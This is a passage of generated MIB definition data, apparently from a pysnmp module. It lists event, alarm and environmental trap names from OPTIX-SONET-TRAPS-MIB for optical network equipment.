("OPTIX-SONET-TRAPS-MIB", "evtLockoutProtectionUnit"), ("OPTIX-SONET-TRAPS-MIB", "evtForcedSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtManualSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtExerciseSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtWaitToRestore"), ("OPTIX-SONET-TRAPS-MIB", "evtSwitchToIdle"), ("OPTIX-SONET-TRAPS-MIB", "evtSwitchFail"), ("OPTIX-SONET-TRAPS-MIB", "evtSyncSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtCommunicationFail"), ("OPTIX-SONET-TRAPS-MIB", "evtPowerAFail"), ("OPTIX-SONET-TRAPS-MIB", "evtPowerBFail"), ("OPTIX-SONET-TRAPS-MIB", "evtInterfaceLinkMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtInterfaceCardFail"), ("OPTIX-SONET-TRAPS-MIB", "evtAIC"), ("OPTIX-SONET-TRAPS-MIB", "evtDbmsCfgCorrupted"), ("OPTIX-SONET-TRAPS-MIB", "evtDefaultKByteDefect"), ("OPTIX-SONET-TRAPS-MIB", "evtInconsistentApsCodes"), ("OPTIX-SONET-TRAPS-MIB", "evtImproperApsCodes"), ("OPTIX-SONET-TRAPS-MIB", "evtExtraTrafficIsBeingSquelched"), ("OPTIX-SONET-TRAPS-MIB", "evtTopologyNeedsUpdatingOrIsInvalid"), ("OPTIX-SONET-TRAPS-MIB", "evtSquelchTableNeedsUpdatingOrIsInvalid"), ("OPTIX-SONET-TRAPS-MIB", "evtNodeIdDuplicatedOrMismatched"), ("OPTIX-SONET-TRAPS-MIB", "evtXconMismatched"), ("OPTIX-SONET-TRAPS-MIB", "evtRingModeMisatch"), ("OPTIX-SONET-TRAPS-MIB", "evtSquelchModeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtLockoutProtectionSpan"), ("OPTIX-SONET-TRAPS-MIB", "evtLockoutWorkingRing"), ("OPTIX-SONET-TRAPS-MIB", "evtLockoutWorkingSpan"), ("OPTIX-SONET-TRAPS-MIB", "evtForceSwitchOfRing"), ("OPTIX-SONET-TRAPS-MIB", "evtForceSwitchOfSpan"), ("OPTIX-SONET-TRAPS-MIB", "evtManualSwitchOfRing"), ("OPTIX-SONET-TRAPS-MIB", "evtManualSwitchOfSpan"), ("OPTIX-SONET-TRAPS-MIB", "evtExerciseSwitchRing"), ("OPTIX-SONET-TRAPS-MIB", "evtExerciseSwitchSpan"), ("OPTIX-SONET-TRAPS-MIB", "evtLockoutProtectionForAllSpans"), ("OPTIX-SONET-TRAPS-MIB", "evtRingSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtSpanSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtSwitchToPassthru"), ("OPTIX-SONET-TRAPS-MIB", "evtPersistentLineSquelching"), ("OPTIX-SONET-TRAPS-MIB", "evtDbmsCfgBackupFailed"), ("OPTIX-SONET-TRAPS-MIB", "evtFanFailures"), ("OPTIX-SONET-TRAPS-MIB", "evtInvalidEQPT"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserApdBiasVoltageHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserApdBiasVoltageLow"), ("OPTIX-SONET-TRAPS-MIB", "evtLBCHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtLBCLow"), ("OPTIX-SONET-TRAPS-MIB", "evtLCCHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtLCCLow"), ("OPTIX-SONET-TRAPS-MIB", "evtLinkError"), ("OPTIX-SONET-TRAPS-MIB", "evtLOA"), ("OPTIX-SONET-TRAPS-MIB", "evtLOF"), ("OPTIX-SONET-TRAPS-MIB", "evtLOMPath"), ("OPTIX-SONET-TRAPS-MIB", "evtLOS"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserTemperatureHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserTemperatureLow"), ("OPTIX-SONET-TRAPS-MIB", "evtNeBdDataMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtNoLaserParameter"), ("OPTIX-SONET-TRAPS-MIB", "evtSyncReferenceSourceFailure"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalDegradeVT"), ("OPTIX-SONET-TRAPS-MIB", "evtSignalFailureVT"), ("OPTIX-SONET-TRAPS-MIB", "evtSequenceNumberMismatchedVT"), ("OPTIX-SONET-TRAPS-MIB", "evtSoftwareVersionMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtTemperatureHigh"), ("OPTIX-SONET-TRAPS-MIB", "evtAIS"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackInhibited"), ("OPTIX-SONET-TRAPS-MIB", "evtLockoutOfTheProtocol"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserShutDown"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackAllDS1FEAC"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackCrossConnect"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackDS1FEAC"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackDS3FEAC"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackFacilityPath"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackTerminalPath"), ("OPTIX-SONET-TRAPS-MIB", "evtPrimaryChannelChange"), ("OPTIX-SONET-TRAPS-MIB", "evtRAI"), ("OPTIX-SONET-TRAPS-MIB", "evtSsmDQL"), ("OPTIX-SONET-TRAPS-MIB", "evtSsmLOS"), ("OPTIX-SONET-TRAPS-MIB", "evtTestSessionActive"), ("OPTIX-SONET-TRAPS-MIB", "evtNormalSyncMode"), ("OPTIX-SONET-TRAPS-MIB", "evtSwitchProtectionToWorkingUnit"), ("OPTIX-SONET-TRAPS-MIB", "evtSwtichWokingToProtectingUnit"), ("OPTIX-SONET-TRAPS-MIB", "evtATECardOfflineOrUninstalled"), ("OPTIX-SONET-TRAPS-MIB", "evtPIUCardOfflineOrUninstalled"), ("OPTIX-SONET-TRAPS-MIB", "evtOOF"), ("OPTIX-SONET-TRAPS-MIB", "evtExerciseSwitchSuccess"), ("OPTIX-SONET-TRAPS-MIB", "evtExerciseSwitchFail"), ("OPTIX-SONET-TRAPS-MIB", "evtUpgradeInProcess"), ("OPTIX-SONET-TRAPS-MIB", "evtLaserNotExist"), ("OPTIX-SONET-TRAPS-MIB", "evtLCASBandwidthReduced"), ("OPTIX-SONET-TRAPS-MIB", "evtGFPLossOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "evtFanIsOpened"), ("OPTIX-SONET-TRAPS-MIB", "evtFanIsClosed"), ("OPTIX-SONET-TRAPS-MIB", "evtPathLevelMismatch"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaCVLine"), ("OPTIX-SONET-TRAPS-MIB", "evtDCCFailureIndication"), ("OPTIX-SONET-TRAPS-MIB", "evtLanLossOfCarrierSignal"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaCVCPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaCVPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaCVPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaCVSection"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaCVVT"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaESCPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaESLine"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaESPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaESPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaESSection"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaESVT"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaPjcsPdet"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaPjcsVdet"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaSESCPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaSESLine"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaSESPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaSESPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaSESSection"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaSESVT"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaUASCPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaUASLine"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaUASPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaUASPPath"), ("OPTIX-SONET-TRAPS-MIB", "evtTcaUASVT"), ("OPTIX-SONET-TRAPS-MIB", "evtBitsAIS"), ("OPTIX-SONET-TRAPS-MIB", "evtBitsLOF"), ("OPTIX-SONET-TRAPS-MIB", "evtBitsLOS"), ("OPTIX-SONET-TRAPS-MIB", "evtBitsCodeViolationOver"), ("OPTIX-SONET-TRAPS-MIB", "evtBlsrSFofRing"), ("OPTIX-SONET-TRAPS-MIB", "evtBlsrSFofSpan"), ("OPTIX-SONET-TRAPS-MIB", "evtBlsrSDofRing"), ("OPTIX-SONET-TRAPS-MIB", "evtBlsrSDofSpan"), ("OPTIX-SONET-TRAPS-MIB", "evtBlsrNodeIsolate"), ("OPTIX-SONET-TRAPS-MIB", "evtSF"), ("OPTIX-SONET-TRAPS-MIB", "evtSD"), ("OPTIX-SONET-TRAPS-MIB", "evtAutoSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtLoopbackFAC2NI"), ("OPTIX-SONET-TRAPS-MIB", "evtMtMode"), ("OPTIX-SONET-TRAPS-MIB", "evtStateChange"), ("OPTIX-SONET-TRAPS-MIB", "evtRemoteClientSF"), ("OPTIX-SONET-TRAPS-MIB", "evtRemoteClientSD"), ("OPTIX-SONET-TRAPS-MIB", "evtPowerSwitch"), ("OPTIX-SONET-TRAPS-MIB", "evtPortOffline"), ("OPTIX-SONET-TRAPS-MIB", "evtDataLost")], [("OPTIX-SONET-TRAPS-MIB", "evtSqmVT"), ("OPTIX-SONET-TRAPS-MIB", "evtLomVT"), ("OPTIX-SONET-TRAPS-MIB", "evtFCSError"), ("OPTIX-SONET-TRAPS-MIB", "almLossOfClock"), ("OPTIX-SONET-TRAPS-MIB", "almFileLost"), ("OPTIX-SONET-TRAPS-MIB", "almBiasTemperatureOfPumpHigh"), ("OPTIX-SONET-TRAPS-MIB", "almTimSection"), ("OPTIX-SONET-TRAPS-MIB", "almLossOfAllSynchronousSource"), ("OPTIX-SONET-TRAPS-MIB", "almSynchronousSourceDegrade"), ("OPTIX-SONET-TRAPS-MIB", "almProtectionSwitching"), ("OPTIX-SONET-TRAPS-MIB", "almDbmsError"), ("OPTIX-SONET-TRAPS-MIB", "almLossOfMultiplexSignal"), ("OPTIX-SONET-TRAPS-MIB", "almLossOfSingleWavelengthSignal"), ("OPTIX-SONET-TRAPS-MIB", "almAdditionOfSingleWavelengthSignal"), ("OPTIX-SONET-TRAPS-MIB", "almLaserDegraded"), ("OPTIX-SONET-TRAPS-MIB", "almPumpDiodeCoolingCurrentHigh"), ("OPTIX-SONET-TRAPS-MIB", "almS1ModeSynChange"), ("OPTIX-SONET-TRAPS-MIB", "almDbmsIsInProtectMode"), ("OPTIX-SONET-TRAPS-MIB", "almForwardErrorCorrectionLossOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "almForwardErrorCorrectionOutOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "almRateOver"), ("OPTIX-SONET-TRAPS-MIB", "almCardConfigurationFail"), ("OPTIX-SONET-TRAPS-MIB", "almLoopback"), ("OPTIX-SONET-TRAPS-MIB", "almCoolingCurrentModeHigh"), ("OPTIX-SONET-TRAPS-MIB", "almOTULossOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "almOTUOutOfMultiFrame"), ("OPTIX-SONET-TRAPS-MIB", "almSmTIM"), ("OPTIX-SONET-TRAPS-MIB", "almPmTIM"), ("OPTIX-SONET-TRAPS-MIB", "almSmBDI"), ("OPTIX-SONET-TRAPS-MIB", "almPmBDI"), ("OPTIX-SONET-TRAPS-MIB", "almSmBEI"), ("OPTIX-SONET-TRAPS-MIB", "almPmBEI"), ("OPTIX-SONET-TRAPS-MIB", "almSmIAE"), ("OPTIX-SONET-TRAPS-MIB", "almSmBipExcessive"), ("OPTIX-SONET-TRAPS-MIB", "almPmBipExcessive"), ("OPTIX-SONET-TRAPS-MIB", "almSmBipSignalDefect"), ("OPTIX-SONET-TRAPS-MIB", "almPmBipSignalDefect"), ("OPTIX-SONET-TRAPS-MIB", "almOTUAlarmIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "almODUAlarmIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "almODUOpenConnectionIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "almODULockedIndicationSignal"), ("OPTIX-SONET-TRAPS-MIB", "almSumInputOpticalPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "almSumInputOpticalPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "almSumOutOpticalPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "almOutOpticalPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "almGainLow"), ("OPTIX-SONET-TRAPS-MIB", "almDgeAdjustmentFail"), ("OPTIX-SONET-TRAPS-MIB", "almWavelengthLockFail"), ("OPTIX-SONET-TRAPS-MIB", "almHotSwitchControlUnavail"), ("OPTIX-SONET-TRAPS-MIB", "almEsconCodeError"), ("OPTIX-SONET-TRAPS-MIB", "almCommitTimeout"), ("OPTIX-SONET-TRAPS-MIB", "almSwdlNePackageCheck"), ("OPTIX-SONET-TRAPS-MIB", "almSwdlChaGmngmMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almDBSyncFail"), ("OPTIX-SONET-TRAPS-MIB", "almClientMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almLaserModuleMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almEqptNoServiceAffecting"), ("OPTIX-SONET-TRAPS-MIB", "almEqptServiceAffectingFail"), ("OPTIX-SONET-TRAPS-MIB", "almApsByteFailure"), ("OPTIX-SONET-TRAPS-MIB", "almFarEndProtectionLineFailure"), ("OPTIX-SONET-TRAPS-MIB", "almApsChannelMismatchFailure"), ("OPTIX-SONET-TRAPS-MIB", "almApsModeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almApsTypeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almFreeRunSync"), ("OPTIX-SONET-TRAPS-MIB", "almFanOffline"), ("OPTIX-SONET-TRAPS-MIB", "almSingleFanFail"), ("OPTIX-SONET-TRAPS-MIB", "almMultiFanFail"), ("OPTIX-SONET-TRAPS-MIB", "almEquipmentTypeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almEquipmentOfflineOrUninstalled"), ("OPTIX-SONET-TRAPS-MIB", "almTransmitterFailure"), ("OPTIX-SONET-TRAPS-MIB", "almSignalFailureSection"), ("OPTIX-SONET-TRAPS-MIB", "almInputPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "almInputPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "almSignalFailureLine"), ("OPTIX-SONET-TRAPS-MIB", "almSignalDegradeLine"), ("OPTIX-SONET-TRAPS-MIB", "almLaserApprochingEndOfLife"), ("OPTIX-SONET-TRAPS-MIB", "almSignalDegradeSection"), ("OPTIX-SONET-TRAPS-MIB", "almAlarmIndicationSignalLine"), ("OPTIX-SONET-TRAPS-MIB", "almRemoteFailureIindicationLine"), ("OPTIX-SONET-TRAPS-MIB", "almAlarmIndicationSignalPath"), ("OPTIX-SONET-TRAPS-MIB", "almLossOfPointerPath"), ("OPTIX-SONET-TRAPS-MIB", "almTraceIdentifierMismatchPath"), ("OPTIX-SONET-TRAPS-MIB", "almUnequippedPath"), ("OPTIX-SONET-TRAPS-MIB", "almSignalFailurePath"), ("OPTIX-SONET-TRAPS-MIB", "almSignalDegradePath"), ("OPTIX-SONET-TRAPS-MIB", "almRemoteFailureIindicationPath"), ("OPTIX-SONET-TRAPS-MIB", "almPayloadLabelMisatch"), ("OPTIX-SONET-TRAPS-MIB", "almEnhancedRemotePalyloadFailureIndicationPath"), ("OPTIX-SONET-TRAPS-MIB", "almEnhancedRemoteServerFailureIndicationPath"), ("OPTIX-SONET-TRAPS-MIB", "almEnhancedRemoteConnectivityFailureIndicationPath"), ("OPTIX-SONET-TRAPS-MIB", "almPowerFail"), ("OPTIX-SONET-TRAPS-MIB", "almLossOfPointerVT"), ("OPTIX-SONET-TRAPS-MIB", "almAlarmIndicationSignalVT"), ("OPTIX-SONET-TRAPS-MIB", "almPayloadLabelMismatchVT"), ("OPTIX-SONET-TRAPS-MIB", "almUnequippedVT"), ("OPTIX-SONET-TRAPS-MIB", "almRemoteFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "almRemoteServerFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "almEnhancedRemoteConnectivityFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "almEnhancedRemotePalyloadFailureIndicationVT"), ("OPTIX-SONET-TRAPS-MIB", "almInterFaceCardOffline"), ("OPTIX-SONET-TRAPS-MIB", "almCommunicationFail"), ("OPTIX-SONET-TRAPS-MIB", "almPowerAFail"), ("OPTIX-SONET-TRAPS-MIB", "almPowerBFail"), ("OPTIX-SONET-TRAPS-MIB", "almInterfaceLinkMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almInterfaceCardFail"), ("OPTIX-SONET-TRAPS-MIB", "almAIC"), ("OPTIX-SONET-TRAPS-MIB", "almDbmsCfgCorrupted"), ("OPTIX-SONET-TRAPS-MIB", "almDefaultKByteDefect"), ("OPTIX-SONET-TRAPS-MIB", "almInconsistentApsCodes"), ("OPTIX-SONET-TRAPS-MIB", "almImproperApsCodes"), ("OPTIX-SONET-TRAPS-MIB", "almExtraTrafficIsBeingSquelched"), ("OPTIX-SONET-TRAPS-MIB", "almTopologyNeedsUpdatingOrIsInvalid"), ("OPTIX-SONET-TRAPS-MIB", "almSquelchTableNeedsUpdatingOrIsInvalid"), ("OPTIX-SONET-TRAPS-MIB", "almNodeIdDuplicatedOrMismatched"), ("OPTIX-SONET-TRAPS-MIB", "almXconMismatched"), ("OPTIX-SONET-TRAPS-MIB", "almRingModeMisatch"), ("OPTIX-SONET-TRAPS-MIB", "almSquelchModeMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almDbmsCfgBackupFailed"), ("OPTIX-SONET-TRAPS-MIB", "almFanFailures"), ("OPTIX-SONET-TRAPS-MIB", "almInvalidEQPT"), ("OPTIX-SONET-TRAPS-MIB", "almLaserApdBiasVoltageHigh"), ("OPTIX-SONET-TRAPS-MIB", "almLaserApdBiasVoltageLow"), ("OPTIX-SONET-TRAPS-MIB", "almLBCHigh"), ("OPTIX-SONET-TRAPS-MIB", "almLBCLow"), ("OPTIX-SONET-TRAPS-MIB", "almLCCHigh"), ("OPTIX-SONET-TRAPS-MIB", "almLCCLow"), ("OPTIX-SONET-TRAPS-MIB", "almLinkError"), ("OPTIX-SONET-TRAPS-MIB", "almLOA"), ("OPTIX-SONET-TRAPS-MIB", "almLOF"), ("OPTIX-SONET-TRAPS-MIB", "almLOMPath"), ("OPTIX-SONET-TRAPS-MIB", "almLOS"), ("OPTIX-SONET-TRAPS-MIB", "almLaserTemperatureHigh"), ("OPTIX-SONET-TRAPS-MIB", "almLaserTemperatureLow"), ("OPTIX-SONET-TRAPS-MIB", "almNeBdDataMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almNoLaserParameter"), ("OPTIX-SONET-TRAPS-MIB", "almSyncReferenceSourceFailure"), ("OPTIX-SONET-TRAPS-MIB", "almSequenceNumberMismatchedVT"), ("OPTIX-SONET-TRAPS-MIB", "almSoftwareVersionMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almTemperatureHigh"), ("OPTIX-SONET-TRAPS-MIB", "almAIS"), ("OPTIX-SONET-TRAPS-MIB", "almPrimaryChannelChange"), ("OPTIX-SONET-TRAPS-MIB", "almRAI"), ("OPTIX-SONET-TRAPS-MIB", "almSsmDQL"), ("OPTIX-SONET-TRAPS-MIB", "almSsmLOS"), ("OPTIX-SONET-TRAPS-MIB", "almATECardOfflineOrUninstalled"), ("OPTIX-SONET-TRAPS-MIB", "almPIUCardOfflineOrUninstalled"), ("OPTIX-SONET-TRAPS-MIB", "almOOF"), ("OPTIX-SONET-TRAPS-MIB", "almLaserNotExist"), ("OPTIX-SONET-TRAPS-MIB", "almGFPLossOfFrame"), ("OPTIX-SONET-TRAPS-MIB", "almPathLevelMismatch"), ("OPTIX-SONET-TRAPS-MIB", "almDCCFailureIndication"), ("OPTIX-SONET-TRAPS-MIB", "almLanLossOfCarrierSignal"), ("OPTIX-SONET-TRAPS-MIB", "almBitsAIS"), ("OPTIX-SONET-TRAPS-MIB", "almBitsLOF"), ("OPTIX-SONET-TRAPS-MIB", "almBitsLOS"), ("OPTIX-SONET-TRAPS-MIB", "almBitsCodeViolationOver"), ("OPTIX-SONET-TRAPS-MIB", "almBlsrNodeIsolate"), ("OPTIX-SONET-TRAPS-MIB", "almRemoteClientSF"), ("OPTIX-SONET-TRAPS-MIB", "almRemoteClientSD"), ("OPTIX-SONET-TRAPS-MIB", "almPowerSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almPortOffline"), ("OPTIX-SONET-TRAPS-MIB", "almDataLost"), ("OPTIX-SONET-TRAPS-MIB", "almSqmVT"), ("OPTIX-SONET-TRAPS-MIB", "almLomVT"), ("OPTIX-SONET-TRAPS-MIB", "almFCSError"), ("OPTIX-SONET-TRAPS-MIB", "almREILine"), ("OPTIX-SONET-TRAPS-MIB", "almSyncLOS"), ("OPTIX-SONET-TRAPS-MIB", "almSecuAlarm"), ("OPTIX-SONET-TRAPS-MIB", "almExcessiveErrorDefectBeforeFEC"), ("OPTIX-SONET-TRAPS-MIB", "almHoldoverSync"), ("OPTIX-SONET-TRAPS-MIB", "almFastStartSync"), ("OPTIX-SONET-TRAPS-MIB", "almManualSetSSM"), ("OPTIX-SONET-TRAPS-MIB", "almOutPowerHigh"), ("OPTIX-SONET-TRAPS-MIB", "almOutPowerLow"), ("OPTIX-SONET-TRAPS-MIB", "almALS"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackFacility"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackTerminal"), ("OPTIX-SONET-TRAPS-MIB", "almPDIPath"), ("OPTIX-SONET-TRAPS-MIB", "almSyncChangeSSM"), ("OPTIX-SONET-TRAPS-MIB", "almTimeingModeChange"), ("OPTIX-SONET-TRAPS-MIB", "almLockoutWorkingUnit"), ("OPTIX-SONET-TRAPS-MIB", "almLockoutProtectionUnit"), ("OPTIX-SONET-TRAPS-MIB", "almForcedSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almManualSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almExerciseSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almWaitToRestore"), ("OPTIX-SONET-TRAPS-MIB", "almSwitchToIdle"), ("OPTIX-SONET-TRAPS-MIB", "almSwitchFail"), ("OPTIX-SONET-TRAPS-MIB", "almSyncSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almLockoutProtectionSpan"), ("OPTIX-SONET-TRAPS-MIB", "almLockoutWorkingRing"), ("OPTIX-SONET-TRAPS-MIB", "almLockoutWorkingSpan"), ("OPTIX-SONET-TRAPS-MIB", "almForceSwitchOfRing"), ("OPTIX-SONET-TRAPS-MIB", "almForceSwitchOfSpan"), ("OPTIX-SONET-TRAPS-MIB", "almManualSwitchOfRing"), ("OPTIX-SONET-TRAPS-MIB", "almManualSwitchOfSpan"), ("OPTIX-SONET-TRAPS-MIB", "almExerciseSwitchRing"), ("OPTIX-SONET-TRAPS-MIB", "almExerciseSwitchSpan"), ("OPTIX-SONET-TRAPS-MIB", "almLockoutProtectionForAllSpans"), ("OPTIX-SONET-TRAPS-MIB", "almRingSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almSpanSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almSwitchToPassthru"), ("OPTIX-SONET-TRAPS-MIB", "almPersistentLineSquelching"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackInhibited"), ("OPTIX-SONET-TRAPS-MIB", "almLockoutOfTheProtocol"), ("OPTIX-SONET-TRAPS-MIB", "almLaserShutDown"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackAllDS1FEAC"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackCrossConnect"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackDS1FEAC"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackDS3FEAC"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackFacilityPath"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackTerminalPath"), ("OPTIX-SONET-TRAPS-MIB", "almTestSessionActive"), ("OPTIX-SONET-TRAPS-MIB", "almNormalSyncMode"), ("OPTIX-SONET-TRAPS-MIB", "almSwitchProtectionToWorkingUnit"), ("OPTIX-SONET-TRAPS-MIB", "almSwtichWokingToProtectingUnit"), ("OPTIX-SONET-TRAPS-MIB", "almExerciseSwitchSuccess"), ("OPTIX-SONET-TRAPS-MIB", "almExerciseSwitchFail"), ("OPTIX-SONET-TRAPS-MIB", "almUpgradeInProcess"), ("OPTIX-SONET-TRAPS-MIB", "almLCASBandwidthReduced"), ("OPTIX-SONET-TRAPS-MIB", "almFanIsOpened"), ("OPTIX-SONET-TRAPS-MIB", "almFanIsClosed"), ("OPTIX-SONET-TRAPS-MIB", "almTcaCVLine"), ("OPTIX-SONET-TRAPS-MIB", "almTcaCVCPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaCVPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaCVPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaCVSection"), ("OPTIX-SONET-TRAPS-MIB", "almTcaCVVT"), ("OPTIX-SONET-TRAPS-MIB", "almTcaESCPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaESLine"), ("OPTIX-SONET-TRAPS-MIB", "almTcaESPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaESPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaESSection"), ("OPTIX-SONET-TRAPS-MIB", "almTcaESVT"), ("OPTIX-SONET-TRAPS-MIB", "almTcaPjcsPdet"), ("OPTIX-SONET-TRAPS-MIB", "almTcaPjcsVdet"), ("OPTIX-SONET-TRAPS-MIB", "almTcaSESCPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaSESLine"), ("OPTIX-SONET-TRAPS-MIB", "almTcaSESPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaSESPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaSESSection"), ("OPTIX-SONET-TRAPS-MIB", "almTcaSESVT"), ("OPTIX-SONET-TRAPS-MIB", "almTcaUASCPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaUASLine"), ("OPTIX-SONET-TRAPS-MIB", "almTcaUASPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaUASPPath"), ("OPTIX-SONET-TRAPS-MIB", "almTcaUASVT"), ("OPTIX-SONET-TRAPS-MIB", "almBlsrSFofRing"), ("OPTIX-SONET-TRAPS-MIB", "almBlsrSFofSpan"), ("OPTIX-SONET-TRAPS-MIB", "almBlsrSDofRing"), ("OPTIX-SONET-TRAPS-MIB", "almBlsrSDofSpan"), ("OPTIX-SONET-TRAPS-MIB", "almSF"), ("OPTIX-SONET-TRAPS-MIB", "almSD"), ("OPTIX-SONET-TRAPS-MIB", "almAutoSwitch"), ("OPTIX-SONET-TRAPS-MIB", "almLoopbackFAC2NI")], [("OPTIX-SONET-TRAPS-MIB", "almMtMode"), ("OPTIX-SONET-TRAPS-MIB", "almStateChange"), ("OPTIX-SONET-TRAPS-MIB", "envAirCompressorFailure"), ("OPTIX-SONET-TRAPS-MIB", "envAirConditioningFailure"), ("OPTIX-SONET-TRAPS-MIB", "envAirDryerFailure"), ("OPTIX-SONET-TRAPS-MIB", "envBatteryDischarging"), ("OPTIX-SONET-TRAPS-MIB", "envBatteryFailure"), ("OPTIX-SONET-TRAPS-MIB", "envCoolingFacFailure"), ("OPTIX-SONET-TRAPS-MIB", "envCPMAJOR"), ("OPTIX-SONET-TRAPS-MIB", "envCPMINOR"), ("OPTIX-SONET-TRAPS-MIB", "envEngineFailure"), ("OPTIX-SONET-TRAPS-MIB", "envEngineOperating"), ("OPTIX-SONET-TRAPS-MIB", "envExplosiveGas"), ("OPTIX-SONET-TRAPS-MIB", "envFireDetectorFailure"), ("OPTIX-SONET-TRAPS-MIB", "envFire"), ("OPTIX-SONET-TRAPS-MIB", "envFlood"), ("OPTIX-SONET-TRAPS-MIB", "envFuseFailure"), ("OPTIX-SONET-TRAPS-MIB", "envGeneratorFailure"), ("OPTIX-SONET-TRAPS-MIB", "envHighAirflow"), ("OPTIX-SONET-TRAPS-MIB", "envHighHumidity"), ("OPTIX-SONET-TRAPS-MIB", "envHighTemperature"), ("OPTIX-SONET-TRAPS-MIB", "envHighWater"), ("OPTIX-SONET-TRAPS-MIB", "envIntrusion"), ("OPTIX-SONET-TRAPS-MIB", "envLowBatteryVoltage"), ("OPTIX-SONET-TRAPS-MIB", "envLowFuel"), ("OPTIX-SONET-TRAPS-MIB", "envLowHumidity"), ("OPTIX-SONET-TRAPS-MIB", "envLowCablePressure"), ("OPTIX-SONET-TRAPS-MIB", "envLowTemperature"), ("OPTIX-SONET-TRAPS-MIB", "envLowWater"), ("OPTIX-SONET-TRAPS-MIB", "envMiscellaneous"), ("OPTIX-SONET-TRAPS-MIB", "envOpenDoor"), 